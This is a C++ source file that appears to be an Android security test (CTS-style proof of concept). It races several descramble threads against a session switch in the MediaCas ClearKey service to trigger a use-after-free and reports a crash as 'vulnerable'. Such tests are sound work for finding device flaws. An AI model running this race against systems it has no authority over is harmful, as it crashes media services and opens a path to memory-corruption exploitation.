1 /*
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <android/hardware/cas/1.0/ICas.h>
18 #include <android/hardware/cas/1.0/IMediaCasService.h>
19 #include <android/hardware/cas/native/1.0/IDescrambler.h>
20 #include <binder/MemoryHeapBase.h>
21 #include <utils/StrongPointer.h>
22 
23 #include <stdio.h>
24 
25 #include "../includes/common.h"
26 
27 using ::android::MemoryHeapBase;
28 using ::android::sp;
29 using ::android::hardware::hidl_handle;
30 using ::android::hardware::hidl_memory;
31 using ::android::hardware::hidl_string;
32 using ::android::hardware::hidl_vec;
33 using ::android::hardware::Return;
34 using namespace android::hardware::cas::V1_0;
35 using namespace android::hardware::cas::native::V1_0;
36 
37 #define CLEARKEY_SYSTEMID (0xF6D8)
38 
39 #define THREADS_NUM (5)
40 
41 typedef enum {
42   RESULT_CRASH,
43   RESULT_SESSION1,
44   RESULT_SESSION2,
45 } thread_result_t;
46 
47 // Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
48 static const char *provision_str =
49     "{                                                   "
50     "  \"id\": 21140844,                                 "
51     "  \"name\": \"Test Title\",                         "
52     "  \"lowercase_organization_name\": \"Android\",     "
53     "  \"asset_key\": {                                  "
54     "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
55     "  },                                                "
56     "  \"cas_type\": 1,                                  "
57     "  \"track_types\": [ ]                              "
58     "}                                                   ";
59 static const uint8_t ecm_buffer[] = {
60     0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
61     0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
62     0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
63     0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
64     0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
65     0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
66     0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
67     0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
68 };
69 
70 static sp<IDescrambler> descrambler;
71 static pthread_barrier_t barrier;
72 
thread_func(void *)73 static void *thread_func(void *) {
74   // Prepare everything needed for an encrypted run of descramble
75 
76   sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
77 
78   native_handle_t *handle = native_handle_create(1, 0);
79   handle->data[0] = heap->getHeapID();
80 
81   SharedBuffer src;
82   src.offset = 0;
83   src.size = 0x1000;
84   src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
85 
86   DestinationBuffer dst;
87   dst.type = BufferType::SHARED_MEMORY;
88   dst.nonsecureMemory = src;
89 
90   hidl_vec<SubSample> subsamples;
91   SubSample subsample_arr[0x100] = {
92       {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
93   subsamples.setToExternal(subsample_arr, 0x100);
94 
95   Status descramble_status;
96 
97   // Wait for all other threads
98   pthread_barrier_wait(&barrier);
99 
100   // Run descramble
101   Return<void> descramble_result = descrambler->descramble(
102       ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
103       [&](Status status, uint32_t, const hidl_string &) {
104         descramble_status = status;
105       });
106 
107   // Cleanup
108   native_handle_delete(handle);
109 
110   if (!descramble_result.isOk()) {
111     // Service crashed, hurray!
112     return (void *)RESULT_CRASH;
113   }
114 
115   // If descramble was successful then the session had a valid key, so it was
116   // session1. Otherwise it was session2.
117   return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
118                                                   : RESULT_SESSION2);
119 }
120 
main()121 int main() {
122   // Prepare cas & descrambler objects
123 
124   sp<IMediaCasService> service = IMediaCasService::getService();
125   FAIL_CHECK(service != NULL);
126 
127   sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
128   FAIL_CHECK(cas->provision(provision_str) == Status::OK)
129 
130   sp<IDescramblerBase> descramblerBase =
131       service->createDescrambler(CLEARKEY_SYSTEMID);
132   descrambler = IDescrambler::castFrom(descramblerBase);
133 
134   time_t timer = start_timer();
135   while (timer_active(timer)) {
136     // Prepare sessions
137     Status opensession_status;
138     hidl_vec<uint8_t> session1;
139     cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
140       opensession_status = status;
141       session1 = sessionId;
142     });
143     FAIL_CHECK(opensession_status == Status::OK);
144     // Add a key to the first session. This will make descramble work only on
145     // the first session, helping us differentiate between the sessions for
146     // debugging.
147     hidl_vec<uint8_t> ecm;
148     ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
149     FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
150 
151     hidl_vec<uint8_t> session2;
152     cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
153       opensession_status = status;
154       session2 = sessionId;
155     });
156     FAIL_CHECK(opensession_status == Status::OK);
157 
158     // Set the descrambler's session to session1, then close it (and remove it
159     // from the sessions map). This way the only reference on the service to
160     // session1 will be from descrambler's session.
161     FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
162     FAIL_CHECK(cas->closeSession(session1) == Status::OK);
163 
164     // Prepare the threads which run descramble
165     FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
166     pthread_t threads[THREADS_NUM];
167     for (size_t i = 0; i < THREADS_NUM; i++) {
168       FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
169     }
170 
171     // Let the threads run by waiting on the barrier. This means that past this
172     // point all threads will run descramble.
173     pthread_barrier_wait(&barrier);
174 
175     // While the threads are running descramble, change the descrambler session
176     // to session2. Hopefully this will cause a use-after-free through a race
177     // condition, session1's reference count will drop to 0 so it will be
178     // released, but one thread will still run descramble on the released
179     // session.
180     FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
181 
182     // Go over thread results
183     for (size_t i = 0; i < THREADS_NUM; i++) {
184       thread_result_t thread_result;
185       FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
186       if (thread_result == RESULT_CRASH) {
187         return EXIT_VULNERABLE;
188       }
189     }
190 
191     // Cleanup
192     FAIL_CHECK(cas->closeSession(session2) == Status::OK);
193     FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
194   }
195 }
196